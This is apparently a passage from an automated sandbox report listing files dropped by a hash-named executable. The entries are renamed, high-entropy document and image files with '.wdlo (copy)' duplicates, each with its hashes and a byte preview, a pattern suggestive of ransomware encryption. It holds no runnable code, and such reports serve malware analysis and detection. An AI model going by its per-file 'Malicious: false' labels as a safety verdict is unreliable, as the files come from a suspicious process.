Preview:	EEGWX.uz...(\|.1F.....KHK..t......"[.ow.......v.E4#..A..c..E..ls.L.@.1QZ.G.%.. .P.i/y[o.,...=w........ 3C3..`..hYu..2#H.b.....BA..i....A.."..1...Z.~NZ+..t.P.t\.L.@..1%j.Z./.Wt..^.....`.l....=/.1..PY.......p..,"rG#1.\ .XU..;...3..j9.;..BH6.D..?:.`R.,{..g.L;..B1.I,...z....O) U..._....QYm...v..,A....q.y...Tf.[.......Ch...1....'....(..m.o.k....h..2.f?..8.@.!,.%.Y.1..2l'...:.(..WnC.Ot..zb5....r-..$W+.J.Y.`.."..].f..&;..E...Qa..n.u.....].o....8.f...V.1\|....u..J..`..\|....e<.\|3:.\6._..9"...#...3......QG.=.AP.r.:6...fY..U+..&.7f.K.f.X.~.F1..:..LW.x.%....../.......~.n"..L..h`..Y...H.\..g(.(...,.5.gIU.1"\|(.y...%..~..-.o.%H.d'...L.V.S.\<IF.9.......1...2.5,..6<.$...$Ve......zd;..#g............;...........s.:...Di._.<?....0+.Q.!...k...@..>..> .N.7p .q.....<....s.Oc.'[.,S..e.^.n...s.%.A.....R..;.0...Ye.L...<..\S.."..$..do.].}L..d6..n.-.E..(..WV..$....IBKNf\|......u..%.w.~..<.6u'b.}K.o..F.9.?..t.1]=wl...].;.fyW..Du............h..v..PR_.....x...$..

C:\Users\user\Downloads\EEGWXUHVUG.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848531815115813
Encrypted:	false
SSDEEP:	24:CK6dMYshT7F0tkfrbZgLTDax4ImDA+yGe3m/e6cOblcAkpbSUP0Hw43zbD:P6dMYs97F0KfZqTWx4I5JomqcAkpbX4D
MD5:	6311D8428D3263FC6C744A405665B3C1
SHA1:	2838278E20989C6A873E34CEFAFFD785D313F8E5
SHA-256:	EAAB10716BEC1F807C87D4E4141FB3251811AFC16E9E2EDF6D3C9B6DDD347E40
SHA-512:	D7E7AE1638D48CDDE0407A1FA45AEFAEFCF75A33BACF373C562FD63B665886E94F413BEE539FFF6F6E0C3445C3A0809AD19930DC84DC664735D3D850F4F5F58E
Malicious:	false
Preview:	EEGWX.uz...(\|.1F.....KHK..t......"[.ow.......v.E4#..A..c..E..ls.L.@.1QZ.G.%.. .P.i/y[o.,...=w........ 3C3..`..hYu..2#H.b.....BA..i....A.."..1...Z.~NZ+..t.P.t\.L.@..1%j.Z./.Wt..^.....`.l....=/.1..PY.......p..,"rG#1.\ .XU..;...3..j9.;..BH6.D..?:.`R.,{..g.L;..B1.I,...z....O) U..._....QYm...v..,A....q.y...Tf.[.......Ch...1....'....(..m.o.k....h..2.f?..8.@.!,.%.Y.1..2l'...:.(..WnC.Ot..zb5....r-..$W+.J.Y.`.."..].f..&;..E...Qa..n.u.....].o....8.f...V.1\|....u..J..`..\|....e<.\|3:.\6._..9"...#...3......QG.=.AP.r.:6...fY..U+..&.7f.K.f.X.~.F1..:..LW.x.%....../.......~.n"..L..h`..Y...H.\..g(.(...,.5.gIU.1"\|(.y...%..~..-.o.%H.d'...L.V.S.\<IF.9.......1...2.5,..6<.$...$Ve......zd;..#g............;...........s.:...Di._.<?....0+.Q.!...k...@..>..> .N.7p .q.....<....s.Oc.'[.,S..e.^.n...s.%.A.....R..;.0...Ye.L...<..\S.."..$..do.].}L..d6..n.-.E..(..WV..$....IBKNf\|......u..%.w.~..<.6u'b.}K.o..F.9.?..t.1]=wl...].;.fyW..Du............h..v..PR_.....x...$..

C:\Users\user\Downloads\EFOYFBOLXA.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8574031778584486
Encrypted:	false
SSDEEP:	24:GSf2TdzOkM7AI9pDaCorjtzVnE80nRnCay76Fsnn8A1O5Oz3zbD:GHTdrCAbvd0nRFk6F88j5Oz3nD
MD5:	350E472067D67A034D3CD07CF99DB24A
SHA1:	9D2365424370473C5EBDCF3FE99C3A6998AE90CB
SHA-256:	72390B6707FA7D2795A91AB9FE750349BDE07A13724A3C3EAD9FBE4A2365701F
SHA-512:	FB284678FF6FEB91FF9A9BE267FD35C9F2E8E6BAC81665D50350A345D511406531074D2514E1B56DC489F7AB500C74FE911379522D8D8508BEA1C274BDD55752
Malicious:	false
Preview:	EFOYF.V.^....2B.F.^..DA.I._...6...D.v...L...Z.T.......w.V....Bv.d.m.........M....0w/.vZL....C..~O.b.x$.`9.vE.#.;....dr.8..h....ipW>."...H^E...]&..~V..3H0..A..j.G...Iu..!v....;.V!...?.>.W.y.3.?."<..N...v-H..T.`D..#..[...,.{..^5.J.p2.io.......sn.:.Y......%...,D/c..~p.....B'..(.$w[...Ci...)....1.....65(.\.T.p...3..G_.n. 9\|.%N....W..P?....3.3.....W.6.y.. ..F.YX...P..Z.L.."...>'....+Jd/.C<.^..!..J..c..;..n....~..nL....N...w.S.~8.k?9t.4.....5s.U..%....w...qD%.=..-.:....>s.P...O.<....."<.3U........b.9.X.<.t.......9Al\|.~..jCe....aD{9...L.!.....#g@.qL....D..5....&.....u<.Ps2....b.^0[...+W..UC(.T. .B.*.q..#NFe.'....A...{z%<N.q.=...Tnj.X`.+......^J...._.}.l.....gA.{..4...W......5...<0..Y....H..0.....5.:........t...8K..8........k..........a.1..M.,Q..R..\..=.e.mM.@..........R.;.s=~.#...P..;=.....D(.".....U...!...JC....rT......~E.i...G..i.....Do..........w2.0sd..^OA.V....i.&....p.U.......MS.Q....g8....x_...g.3N^rm..ODb)D5....6..o ..:v.u_..: ..8.

C:\Users\user\Downloads\EFOYFBOLXA.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8574031778584486
Encrypted:	false
SSDEEP:	24:GSf2TdzOkM7AI9pDaCorjtzVnE80nRnCay76Fsnn8A1O5Oz3zbD:GHTdrCAbvd0nRFk6F88j5Oz3nD
MD5:	350E472067D67A034D3CD07CF99DB24A
SHA1:	9D2365424370473C5EBDCF3FE99C3A6998AE90CB
SHA-256:	72390B6707FA7D2795A91AB9FE750349BDE07A13724A3C3EAD9FBE4A2365701F
SHA-512:	FB284678FF6FEB91FF9A9BE267FD35C9F2E8E6BAC81665D50350A345D511406531074D2514E1B56DC489F7AB500C74FE911379522D8D8508BEA1C274BDD55752
Malicious:	false
Preview:	EFOYF.V.^....2B.F.^..DA.I._...6...D.v...L...Z.T.......w.V....Bv.d.m.........M....0w/.vZL....C..~O.b.x$.`9.vE.#.;....dr.8..h....ipW>."...H^E...]&..~V..3H0..A..j.G...Iu..!v....;.V!...?.>.W.y.3.?."<..N...v-H..T.`D..#..[...,.{..^5.J.p2.io.......sn.:.Y......%...,D/c..~p.....B'..(.$w[...Ci...)....1.....65(.\.T.p...3..G_.n. 9\|.%N....W..P?....3.3.....W.6.y.. ..F.YX...P..Z.L.."...>'....+Jd/.C<.^..!..J..c..;..n....~..nL....N...w.S.~8.k?9t.4.....5s.U..%....w...qD%.=..-.:....>s.P...O.<....."<.3U........b.9.X.<.t.......9Al\|.~..jCe....aD{9...L.!.....#g@.qL....D..5....&.....u<.Ps2....b.^0[...+W..UC(.T. .B.*.q..#NFe.'....A...{z%<N.q.=...Tnj.X`.+......^J...._.}.l.....gA.{..4...W......5...<0..Y....H..0.....5.:........t...8K..8........k..........a.1..M.,Q..R..\..=.e.mM.@..........R.;.s=~.#...P..;=.....D(.".....U...!...JC....rT......~E.i...G..i.....Do..........w2.0sd..^OA.V....i.&....p.U.......MS.Q....g8....x_...g.3N^rm..ODb)D5....6..o ..:v.u_..: ..8.

C:\Users\user\Downloads\EFOYFBOLXA.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8518723215267325
Encrypted:	false
SSDEEP:	24:kPZxYeSvCOsDPWyerOqglWypfmLkywaSQ0z8EDL880BipVv2oULTGx5sFL3zbD:Oh9WOqg4ypFJ9818Dn6HGx5sFL3nD
MD5:	2E51A756C350B57B750BB4A474399397
SHA1:	A301DCA8EDF0E94B18BAAA867B69BF53FDA5D759
SHA-256:	E8264DE69B0494B6ECDFA7E5391BBC1DC8F2764671EC1EAF764A6A9BC13F4214
SHA-512:	378C841CD5EE064C86F9831F10D4B9565F37D583409830BA3F5EE998DA440BB7063ED24DB8B9BD66BD904FB88D2DC297D6E66925E65517BA46684033A268E7D4
Malicious:	false
Preview:	EFOYF>...G.).....J./.M.cep..V.Jha.\....G..W..&4.!...=u%......S...V.T..-%.]......i.K.....^`...$.f.^J.d...'.y.......j.V{..<Fl}......b.2"B.j...l.bT...U..H..d.Y~^..4.."o.o..%J..?.....(...ND1_k.gL.X[.7..rc..s.......MZ.G~.`........i..K}....S/.Nq..9y.&......./.G....Z...........k.n.?..a.D^....Yo.......<.nr.X.R]}(~..+......}n...7h.G..+ji..!.aV3;.n.........V.W..m..D\.[.G.m.s.]..Q}..&.. %...&..#....q$0q.G. )@e...0H-."..K{b..d7.n.1.e.y......?....z`..9.%.>45.l.^...6...."f5.N.q...".......e.....8..0..{....(.c....=1N.b......y.-..&t....V;..[...._.......Bn. b{.W9..<..I.W?..,......U...]2...e.?c..g.......Tx.1G..+i.(....gD ._.s..YT.lc..V.6.....\y..U..?.\...L..Q.....92k2...;fU..G...(...^.....y.<fW...m..O...........d2..#...H..]....S.t....mQx..[..........l..8p........tcqTqV*.0.Q..$...:B..\|..1D%.u.:...H..L.M.$....z..).P..3...88...i....I6...z.sg)>...j?q...$.M.z.y_...n.._..D.U.).S.Y...?.J`.P......2_.G.5..g....p......VR^.K#!.1.J..Im.y.g...0.,.fx.;$}..j$8^v......x

C:\Users\user\Downloads\EFOYFBOLXA.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8518723215267325
Encrypted:	false
SSDEEP:	24:kPZxYeSvCOsDPWyerOqglWypfmLkywaSQ0z8EDL880BipVv2oULTGx5sFL3zbD:Oh9WOqg4ypFJ9818Dn6HGx5sFL3nD
MD5:	2E51A756C350B57B750BB4A474399397
SHA1:	A301DCA8EDF0E94B18BAAA867B69BF53FDA5D759
SHA-256:	E8264DE69B0494B6ECDFA7E5391BBC1DC8F2764671EC1EAF764A6A9BC13F4214
SHA-512:	378C841CD5EE064C86F9831F10D4B9565F37D583409830BA3F5EE998DA440BB7063ED24DB8B9BD66BD904FB88D2DC297D6E66925E65517BA46684033A268E7D4
Malicious:	false
Preview:	EFOYF>...G.).....J./.M.cep..V.Jha.\....G..W..&4.!...=u%......S...V.T..-%.]......i.K.....^`...$.f.^J.d...'.y.......j.V{..<Fl}......b.2"B.j...l.bT...U..H..d.Y~^..4.."o.o..%J..?.....(...ND1_k.gL.X[.7..rc..s.......MZ.G~.`........i..K}....S/.Nq..9y.&......./.G....Z...........k.n.?..a.D^....Yo.......<.nr.X.R]}(~..+......}n...7h.G..+ji..!.aV3;.n.........V.W..m..D\.[.G.m.s.]..Q}..&.. %...&..#....q$0q.G. )@e...0H-."..K{b..d7.n.1.e.y......?....z`..9.%.>45.l.^...6...."f5.N.q...".......e.....8..0..{....(.c....=1N.b......y.-..&t....V;..[...._.......Bn. b{.W9..<..I.W?..,......U...]2...e.?c..g.......Tx.1G..+i.(....gD ._.s..YT.lc..V.6.....\y..U..?.\...L..Q.....92k2...;fU..G...(...^.....y.<fW...m..O...........d2..#...H..]....S.t....mQx..[..........l..8p........tcqTqV*.0.Q..$...:B..\|..1D%.u.:...H..L.M.$....z..).P..3...88...i....I6...z.sg)>...j?q...$.M.z.y_...n.._..D.U.).S.Y...?.J`.P......2_.G.5..g....p......VR^.K#!.1.J..Im.y.g...0.,.fx.;$}..j$8^v......x

C:\Users\user\Downloads\EIVQSAOTAQ.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8515265330424775
Encrypted:	false
SSDEEP:	24:RW1xdNbMLMPI/XqOH8WF9SHeDGtooPQe/pXJGn03r3zbD:kbMLfvqOHNGtqe/dJG073nD
MD5:	292B90E359C26EB22B59EB4A2C9BD24C
SHA1:	A1C3392AF53DB6F2594F17589B0D06F8B16201C9
SHA-256:	743D691E8DE5DDE30CA7BCBA41B1EC84FA81F8AD00C22A49CE7963E5FBDD80BC
SHA-512:	66ABD0B5DD75425A6F9652E2F5B156055B15006F0010E56290CEF8B80186E241D366A6DD43828033195E3E986FD7F80E89D893EB29A6FAB161FCD5E6833E1A22
Malicious:	false
Preview:	EIVQSlE..9Kl.3A3]c.`.n:?...#."..<..........a..QO[\.}3..o...Zz.of.......8.s.J .......2K..cH..z...)..p0.c7.H../b?g..Sc..5.rM..x'...D....-....f.k.M..Zk#.HF<.....~.z.c\..{v.W,...sxz.N.Q.q.t.%\|..B$T.b..........T.....1...@.aE.....0:.r.\<..S5..[.;....K....T..x./.l%..kS)...#..4.....$.hx...e2.j..@^W.w..>a....5......jDxe>d....p........l...>........pN}].&..X..?J...,Gn.K.z..}q9....'p.6G_/.K!...,..J..T...)$B.8......--.o..}..#.........z%..J.......U-.sjy..V."V.......#.X.....i..."N2.~V.[<.1ie............(....L.:.L.e.V..H..}fh_j....0...U.\|x....v.G..7...e..z^.3.\|...a.<....fu^..J...2....L\...B.;g......5G.,/.o...9....k.&L.Pa..?V3C.#...Y......D.i....P.B..K...}.............D......~.o..w...B.Du_.s[.uf..Q.Q...p.......7.Q.H.....wg!9]..oj..3.6.L.K.lZ..>m..e...q.r.P~.Y..&.c..Q.g..C...Zf...._....._.D]//.c#$.;..N'.9..v.b....m.].7.+........KX......&z:..z..:.?..<k...;]......~....A..9....E^F.m..]..D....S...Xf.b..N...:U.....r."...$.N.#..G[@...#X...

C:\Users\user\Downloads\EIVQSAOTAQ.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8515265330424775
Encrypted:	false
SSDEEP:	24:RW1xdNbMLMPI/XqOH8WF9SHeDGtooPQe/pXJGn03r3zbD:kbMLfvqOHNGtqe/dJG073nD
MD5:	292B90E359C26EB22B59EB4A2C9BD24C
SHA1:	A1C3392AF53DB6F2594F17589B0D06F8B16201C9
SHA-256:	743D691E8DE5DDE30CA7BCBA41B1EC84FA81F8AD00C22A49CE7963E5FBDD80BC
SHA-512:	66ABD0B5DD75425A6F9652E2F5B156055B15006F0010E56290CEF8B80186E241D366A6DD43828033195E3E986FD7F80E89D893EB29A6FAB161FCD5E6833E1A22
Malicious:	false
Preview:	EIVQSlE..9Kl.3A3]c.`.n:?...#."..<..........a..QO[\.}3..o...Zz.of.......8.s.J .......2K..cH..z...)..p0.c7.H../b?g..Sc..5.rM..x'...D....-....f.k.M..Zk#.HF<.....~.z.c\..{v.W,...sxz.N.Q.q.t.%\|..B$T.b..........T.....1...@.aE.....0:.r.\<..S5..[.;....K....T..x./.l%..kS)...#..4.....$.hx...e2.j..@^W.w..>a....5......jDxe>d....p........l...>........pN}].&..X..?J...,Gn.K.z..}q9....'p.6G_/.K!...,..J..T...)$B.8......--.o..}..#.........z%..J.......U-.sjy..V."V.......#.X.....i..."N2.~V.[<.1ie............(....L.:.L.e.V..H..}fh_j....0...U.\|x....v.G..7...e..z^.3.\|...a.<....fu^..J...2....L\...B.;g......5G.,/.o...9....k.&L.Pa..?V3C.#...Y......D.i....P.B..K...}.............D......~.o..w...B.Du_.s[.uf..Q.Q...p.......7.Q.H.....wg!9]..oj..3.6.L.K.lZ..>m..e...q.r.P~.Y..&.c..Q.g..C...Zf...._....._.D]//.c#$.;..N'.9..v.b....m.].7.+........KX......&z:..z..:.?..<k...;]......~....A..9....E^F.m..]..D....S...Xf.b..N...:U.....r."...$.N.#..G[@...#X...

C:\Users\user\Downloads\EWZCVGNOWT.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844162252117262
Encrypted:	false
SSDEEP:	24:OeRFWTDRg78X/jOsFPNh62gYq08qlJuTq2SIOqQ9mig0Hdqnd3zbD:ObTDQK/jjF1g2oHqYqsOqQQb09Md3nD
MD5:	5A173EF6F2D9AF2839948B9B42C9EC4C
SHA1:	0D7D6F42039EFA51889FA60297A465CAD09294C4
SHA-256:	703ECC284075181A51CC69C7C7E265859768E996A502CD19FF8A8D63EA720DF6
SHA-512:	2D1FFBEE2BF6090506BEEF0C19425475ABCB12926AAA567BB2A9DD9273E22EFE829058DB03AFC42CEA1FB3AE211B702B154B09811066717207240AAF1BD86170
Malicious:	false
Preview:	EWZCVUC]%M..~....C.i.......G.a...y.9V..#.).....-l8.]p."^./)..R....P..!......".,.+...7...6#.@..u..AbZt.R........;\|.......O..~...NRs..B"r..6...T..S.o.(....$'S.....]"..v.We..gh.A~..r.L.\|d..$...-..>..V..id..5.~..A.".. ..g.~nK....".KJ..n.SK.`\j...B. .O..m...m.....,.....u..W.../...k....kP..R.1.......f%.\.b...g..x..'0............\|.Y^.._....hRRP....-...].7Q(J.f.....i.\|.(..`...4O.....<.........d.2ZM..wAc.\.Bd..x...@W..w......Oma..9./...f.b..0S..5\A...3\|,.."F.9.~hb..'.......4.D ..A.3o.._.V....3...J.h)..).k{..jq. .....J.B}.#HX..w!&.2+..~X.....].M..~.5$.{..\|"p.K.ZE...MnF.3..^...+.e........m..#?..#l....nT.5.Xd3..-..6K......* ..yw..xuS.-..+5...-^.......^.tq."2..T.U....qrvpS..\[...5.,~.m..X)..v.h._.Pn..Ca. .V=.Vuu8.e.....1..0n.......f.e.~..S.\....kT:...-.....<.D.4......O..i..?M.h...!....}V...?q.f....U%..3.sa.i_.....d...dws#.5...#XxnW.E.I.3...B..R.l...g!.y..\|\ekV.sT..sLS.L..T... .....Y..c......^.$..[Z..".!....Q.D......I...2....Y.$...~:.........+nfes.

C:\Users\user\Downloads\EWZCVGNOWT.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844162252117262
Encrypted:	false
SSDEEP:	24:OeRFWTDRg78X/jOsFPNh62gYq08qlJuTq2SIOqQ9mig0Hdqnd3zbD:ObTDQK/jjF1g2oHqYqsOqQQb09Md3nD
MD5:	5A173EF6F2D9AF2839948B9B42C9EC4C
SHA1:	0D7D6F42039EFA51889FA60297A465CAD09294C4
SHA-256:	703ECC284075181A51CC69C7C7E265859768E996A502CD19FF8A8D63EA720DF6
SHA-512:	2D1FFBEE2BF6090506BEEF0C19425475ABCB12926AAA567BB2A9DD9273E22EFE829058DB03AFC42CEA1FB3AE211B702B154B09811066717207240AAF1BD86170
Malicious:	false
Preview:	EWZCVUC]%M..~....C.i.......G.a...y.9V..#.).....-l8.]p."^./)..R....P..!......".,.+...7...6#.@..u..AbZt.R........;\|.......O..~...NRs..B"r..6...T..S.o.(....$'S.....]"..v.We..gh.A~..r.L.\|d..$...-..>..V..id..5.~..A.".. ..g.~nK....".KJ..n.SK.`\j...B. .O..m...m.....,.....u..W.../...k....kP..R.1.......f%.\.b...g..x..'0............\|.Y^.._....hRRP....-...].7Q(J.f.....i.\|.(..`...4O.....<.........d.2ZM..wAc.\.Bd..x...@W..w......Oma..9./...f.b..0S..5\A...3\|,.."F.9.~hb..'.......4.D ..A.3o.._.V....3...J.h)..).k{..jq. .....J.B}.#HX..w!&.2+..~X.....].M..~.5$.{..\|"p.K.ZE...MnF.3..^...+.e........m..#?..#l....nT.5.Xd3..-..6K......* ..yw..xuS.-..+5...-^.......^.tq."2..T.U....qrvpS..\[...5.,~.m..X)..v.h._.Pn..Ca. .V=.Vuu8.e.....1..0n.......f.e.~..S.\....kT:...-.....<.D.4......O..i..?M.h...!....}V...?q.f....U%..3.sa.i_.....d...dws#.5...#XxnW.E.I.3...B..R.l...g!.y..\|\ekV.sT..sLS.L..T... .....Y..c......^.$..[Z..".!....Q.D......I...2....Y.$...~:.........+nfes.

C:\Users\user\Downloads\GLTYDMDUST.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84660459946439
Encrypted:	false
SSDEEP:	24:4XsTmt2YkW2NExR+FkE0lRhhKrVaJU6Ot2MXbSX2eRTAVojlbx3zbD:OyckWYEx8kEY3KrVaJU6Otp2X2euVM3D
MD5:	41C30E9A37FB90F660A87699F95A85F5
SHA1:	DF3DB547908CB1872CE87BDCF75D5294CE62A71D
SHA-256:	BB6F34C6E9191160C8FEA8728154986BA42A11621DB4FB7792FF9FB34581840E
SHA-512:	A09839717DFB005E810A554A5ABAF9A88AB9DA9430728A6157D1440C77104C9863AC42FDF453BC78D4616179B50D474C3F6B13A91A0FF67E06FD653007D6557B
Malicious:	false
Preview:	GLTYDZgK..f. .g....4.@.!.5...E...i_I..a...>U..m.Z.%#.=....+....d..B.xs)...t(X\..j.`.8f-_.b.V...R......E.4...!.]\|%..'...V.0..r.-r.9.?.h...}..k..7.R.'cd..........,..Hmc.1...\.d...._.2.S.T...\....'..A......}.%K.L.....B..7.\| >......zY......n...H,6..c.}~8....o?..e..J..8.^9.......,......H.j^...n.Q...t..}8..........$.[F"H?]..>..K1....xF...`rw.oE!.;...w.5..f..1.....C..z\j[+.C...nO....a..+s..+...ds.B...p?{$..s..3..\......E.sq? ..Dg....WY..g...dC^.........2.G]..e...@.........pb.A.@.u....8..E.....pb`..H...P.s\|qy...WD...E.ARnZ...X..b..\|o..4?}`<..O...7...-8uQ.}.~..{..<..u).H).~5w.....p}..k...;.>...:uM..-.J..+....-3.V.P.m(m.B..>L.B.hvX.....WwOP.=a.I.%.D.M.At.].....S.....Q..o...Y0..pH.q......3...nn._5..g.;.b>$.J.....=.#.%q.5...N.a......%+;.h.t.....D...z...`....e.4.0m.,x.h....N.~...I..s:.........:.7./8.&.........b.F.m3.Y...G..@'.... ...js...p^.n-...jQ]O..z.._~....-R.z...W.l..g.......!.^.$S...wRP..,.j$_SiGc.S.$x...NruRs.\R0.:.y.'.E..7.O...1....V.(.t.

C:\Users\user\Downloads\GLTYDMDUST.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84660459946439
Encrypted:	false
SSDEEP:	24:4XsTmt2YkW2NExR+FkE0lRhhKrVaJU6Ot2MXbSX2eRTAVojlbx3zbD:OyckWYEx8kEY3KrVaJU6Otp2X2euVM3D
MD5:	41C30E9A37FB90F660A87699F95A85F5
SHA1:	DF3DB547908CB1872CE87BDCF75D5294CE62A71D
SHA-256:	BB6F34C6E9191160C8FEA8728154986BA42A11621DB4FB7792FF9FB34581840E
SHA-512:	A09839717DFB005E810A554A5ABAF9A88AB9DA9430728A6157D1440C77104C9863AC42FDF453BC78D4616179B50D474C3F6B13A91A0FF67E06FD653007D6557B
Malicious:	false
Preview:	GLTYDZgK..f. .g....4.@.!.5...E...i_I..a...>U..m.Z.%#.=....+....d..B.xs)...t(X\..j.`.8f-_.b.V...R......E.4...!.]\|%..'...V.0..r.-r.9.?.h...}..k..7.R.'cd..........,..Hmc.1...\.d...._.2.S.T...\....'..A......}.%K.L.....B..7.\| >......zY......n...H,6..c.}~8....o?..e..J..8.^9.......,......H.j^...n.Q...t..}8..........$.[F"H?]..>..K1....xF...`rw.oE!.;...w.5..f..1.....C..z\j[+.C...nO....a..+s..+...ds.B...p?{$..s..3..\......E.sq? ..Dg....WY..g...dC^.........2.G]..e...@.........pb.A.@.u....8..E.....pb`..H...P.s\|qy...WD...E.ARnZ...X..b..\|o..4?}`<..O...7...-8uQ.}.~..{..<..u).H).~5w.....p}..k...;.>...:uM..-.J..+....-3.V.P.m(m.B..>L.B.hvX.....WwOP.=a.I.%.D.M.At.].....S.....Q..o...Y0..pH.q......3...nn._5..g.;.b>$.J.....=.#.%q.5...N.a......%+;.h.t.....D...z...`....e.4.0m.,x.h....N.~...I..s:.........:.7./8.&.........b.F.m3.Y...G..@'.... ...js...p^.n-...jQ]O..z.._~....-R.z...W.l..g.......!.^.$S...wRP..,.j$_SiGc.S.$x...NruRs.\R0.:.y.'.E..7.O...1....V.(.t.

C:\Users\user\Downloads\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866693607153522
Encrypted:	false
SSDEEP:	24:l95s8OSJUqAj5uul84KX0mkXCPEsocTW6R/UL26BPoD1k7Q37M4tVe0xjiMKRevN:lQ8OeAjz84EJlU2AxIM4zxjaRevS83nD
MD5:	803D1F91307940F8A2396647BD139515
SHA1:	5C7E13BAA8F27237CA634F61789CAAC6F731DAB7
SHA-256:	23DF91653E41641FB83F7B11F139562F2E921DF82291EC88B39D866E50A13A02
SHA-512:	E0A840A6DE09351D6220224C569A80AA2A0C157469CBCD99E9BD88F465BD7314694B34B9CE55E4DEF1240C08B063E3D68391A73D505624C04A2A5F034DE59505
Malicious:	false
Preview:	GRXZDm.(..r.;.j...2.A..@...o....\Z..QD..ay.K.....T.Q!..#^....&6.%&b.;.8.m88..t...f.....,..F."..V.(.n%...n...vt...Y...X..<&Y2..........y.h..I........ZZ..)......0.Q.....I....\8..^..M...t..no..}....2(.)..n..\E..Ye0..o..).%!.E.L...j.......e.....<.W.7.B.L...t..ix........K..>...)......{LR.....sq.O..\|G.A~/.-...O....%EA....].1.%.\..?P...5.^:p.........2M3.....+..".5i..i.f......N....Mp.U.'xc...K.g.......>.V..........Y..`.q.....\|3...P.'9'.K.....Gs.....H.?gl8;}..(C..X'....S.$.>.*A..0T....'...^..[r.P.......Z..g...p..y.... .........Uv....`I.H..Z3...p...kEg.$..a$a~..,..q]......}9x..KS.a.}AP.N..i.9@..a.Ni}......b..J..-...x.w0....Q.....(....5...u..a......q...fJ...u..u.@d.$...J%x...f..avj.G[".(..<M..g2.&.......`p....rT.G.X$..f..B...G.r6....4.o........y.^.l=.....v.]...yj.k.q..j.&).......N....]JhU.?+...\.Z......_.A.....i&lN?/.ym...S..n/..A.d..J<..]\|Ay.....z...)..D..w...Z...H.%...-..n.... ..C..B.)...l...&...b.ad..A.;..HU......p.a..m.......#:}....

C:\Users\user\Downloads\GRXZDKKVDB.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866693607153522
Encrypted:	false
SSDEEP:	24:l95s8OSJUqAj5uul84KX0mkXCPEsocTW6R/UL26BPoD1k7Q37M4tVe0xjiMKRevN:lQ8OeAjz84EJlU2AxIM4zxjaRevS83nD
MD5:	803D1F91307940F8A2396647BD139515
SHA1:	5C7E13BAA8F27237CA634F61789CAAC6F731DAB7
SHA-256:	23DF91653E41641FB83F7B11F139562F2E921DF82291EC88B39D866E50A13A02
SHA-512:	E0A840A6DE09351D6220224C569A80AA2A0C157469CBCD99E9BD88F465BD7314694B34B9CE55E4DEF1240C08B063E3D68391A73D505624C04A2A5F034DE59505
Malicious:	false
Preview:	GRXZDm.(..r.;.j...2.A..@...o....\Z..QD..ay.K.....T.Q!..#^....&6.%&b.;.8.m88..t...f.....,..F."..V.(.n%...n...vt...Y...X..<&Y2..........y.h..I........ZZ..)......0.Q.....I....\8..^..M...t..no..}....2(.)..n..\E..Ye0..o..).%!.E.L...j.......e.....<.W.7.B.L...t..ix........K..>...)......{LR.....sq.O..\|G.A~/.-...O....%EA....].1.%.\..?P...5.^:p.........2M3.....+..".5i..i.f......N....Mp.U.'xc...K.g.......>.V..........Y..`.q.....\|3...P.'9'.K.....Gs.....H.?gl8;}..(C..X'....S.$.>.*A..0T....'...^..[r.P.......Z..g...p..y.... .........Uv....`I.H..Z3...p...kEg.$..a$a~..,..q]......}9x..KS.a.}AP.N..i.9@..a.Ni}......b..J..-...x.w0....Q.....(....5...u..a......q...fJ...u..u.@d.$...J%x...f..avj.G[".(..<M..g2.&.......`p....rT.G.X$..f..B...G.r6....4.o........y.^.l=.....v.]...yj.k.q..j.&).......N....]JhU.?+...\.Z......_.A.....i&lN?/.ym...S..n/..A.d..J<..]\|Ay.....z...)..D..w...Z...H.%...-..n.... ..C..B.)...l...&...b.ad..A.;..HU......p.a..m.......#:}....

